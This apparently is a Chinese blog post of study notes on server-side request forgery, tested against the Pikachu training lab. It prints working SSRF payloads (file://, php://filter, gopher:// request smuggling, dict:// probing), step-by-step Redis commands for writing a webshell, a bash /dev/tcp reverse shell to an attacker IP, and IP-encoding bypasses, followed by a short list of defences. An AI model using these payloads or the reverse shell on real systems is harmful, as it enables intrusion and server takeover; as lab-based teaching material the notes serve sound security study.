• SSRF攻击(服务端请求伪造)


    1.SSRF(服务端请求伪造)原理

    概念:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
    原理:参数给变量未经过滤,使用了不安全的函数curl_init   、 file_get_contents、 fsockopen,这三个函数支持过滤协议,通过过滤协议读对方的文件,探测端口等

    2.SSRF漏洞可以利用的用途
        

    1)可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务器的banner(指纹信息)信息
    2)对内网的web进行指纹识别,通过访问默认文件实现
    3)利用file协议读取本地文件
    4)攻击运行在内网或本地的应用程序(比如溢出)
    5)攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2 sqli等) 

    3.SSRF攻击结果由函数本身来决定,函数的功能越强大,攻击的成功的几率就越大curl_init   、 file_get_contents、 fsockopen(白盒测试,代码审计)

    4.协议

    •  file协议的运用

         读取文件(可以获取敏感文件的信息)

     http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.txt

    判断是否为php
      http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

    • gopher协议的运用(万金油)

     发送各种格式的请求包

    在这里只能改为Post提交,还可以使用gopher协议

    利用函数,可以使用get访问
    http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://10.0.0.130:91%20/_POST%20/sql.php%20HTTP/1.1%250d%250aHost:%2010.0.0.130:91%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

    • dict协议应用

    字典服务器协议

    http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.130:3306/info  获取服务器端口运行的版本信息 

    5.redis(6379)未授权访问漏洞(redis写webshell)

    • 搭建redis

     上传文件到root目录下

            cd redis-6.0.16/

     make
     cd src

     cp redis-server /usr/bin

     cd ..
    cp redis.conf /etc

    vi /etc/redis.conf   修改配置文集   允许任何人访问

    改为no 

      redis-server /etc/redis.conf    启动

    检查进程  

     测试是否运行 redis-cli  -h 10.0.0.130  -p 6379
      另一台机器(同样安装)

    •     Linux写webshell条件

            1、在攻击机上能用redis-cli连上;(将127.0.0.1改为0.0.0.0)客户端
             2、开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经)
            3、目录还需要具有文件写入权限

    •  Linux写入webshell (知道物理路径)  写入语句
    1. redis-cli  -h 192.168.56.131 -p 6379
    2. config set dir /var/www/html    限制路径
    3. config set dbfilename shell.php   设置名字
    4. set webshell "\n\n\n\n\n\n"  写木马
    5. save    保存

    写入webshell时需要使用换行,因为redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。
    1)同时打开kali  输入:pwd查找当时路径

     2)输入命令查询:ls

     3)切换路径:cd /var/www/html 

    4)查询:ls

    5)查看命令:cat  shell.php

     启动apache    service apache2 start 
     netstat -lnt    查看端口

       访问apache  

    网站测试:http://10.0.0.130/shell.php

     蚁剑连接木马:http://192.168.56.131/shell.php(或者菜刀)

    不知道物理路径直接bash反弹

     nc.exe -lvvp 7778

    bash -i >& /dev/tcp/192.168.13.249/7778    centos 7
     nc.exe

       正向连接攻击者连接受害者,反向连接受害者连接攻击者 

    6.如何挖到SSRF漏洞(黑盒测试)?
        

        1)分享:通过url地址分享网页的内容(例如拼多多,改一下地址)
        2)转码服务
        3)在线翻译
        4)图片加载与下载;通过url地址加载与下载图片
        5)图片、文章收藏功能
        6)未公开的api实现与其他调用得url的功能
        7)从url关键词来查找
            share,wap,url.link.src,source,target,display
            sourceURL,imageURL,domain,u,3g 

    7.绕过方法
        

    •     更改IP地址的写法

            8进制
                8进制格式:0300.0250.0.1
            16进制
                16进制格式:0xC0.0xA8.0.1
            10进制
                10进制整数格式:3232235521

    •     利用解析URL出现的问题(把域名拼接上去,加@符号)

       8.防范方法
        

        1)过滤192.168.0.0/10.0.0.0/172.16.0.0  localhost 私有地址、ipv6地址
        2)过滤file:///    、 dict://   、gopher://   、ftp://、 http://   https://    php:///危险schema
            http://192.168.56.128:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.tx        
        3)白名单过滤
        4)对返回的内容进行识别

  • 相关阅读:
    全力助推徐工集团转型升级,迅镭激光智能装备展现硬核实力!
    数据结构小记【Python/C++版】——链表篇
    阿里P8总结的Nacos入门笔记,从安装到进阶小白也能轻松学会
    LENOVO联想笔记本小新 Pro-14 2021AMD处理器ACH版(82MS)原厂Win10系统
    Ubuntu下ESP-IDF的环境搭建
    【vue】v-if、v-show、v-for 相关所有面试题总结
    【opencv】opencv开发包简介
    十天学完基础数据结构-第九天(堆(Heap))
    NX二次开发-获取尺寸的附加文本UF_DRF_ask_appended_text
    mmap内核实现及物理内存组织结构
  • 原文地址:https://blog.csdn.net/2301_79194110/article/details/133161974